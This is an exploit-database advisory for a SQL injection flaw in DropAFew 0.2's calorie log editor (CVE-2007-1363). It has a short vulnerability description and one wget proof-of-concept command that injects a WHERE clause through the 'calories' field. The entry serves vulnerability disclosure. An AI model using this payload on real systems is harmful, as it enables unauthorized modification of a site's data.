DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection

Author: Alexander Klink
type: webapps
platform: php
port: 
date_added: 2007-04-10  
date_updated: 2013-11-26  
verified: 1  
codes: CVE-2007-1363;OSVDB-34923  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 29833.txt  
source: https://www.securityfocus.com/bid/23400/info

DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

These issues affect DropAFew 0.2; prior versions may also be affected.

wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php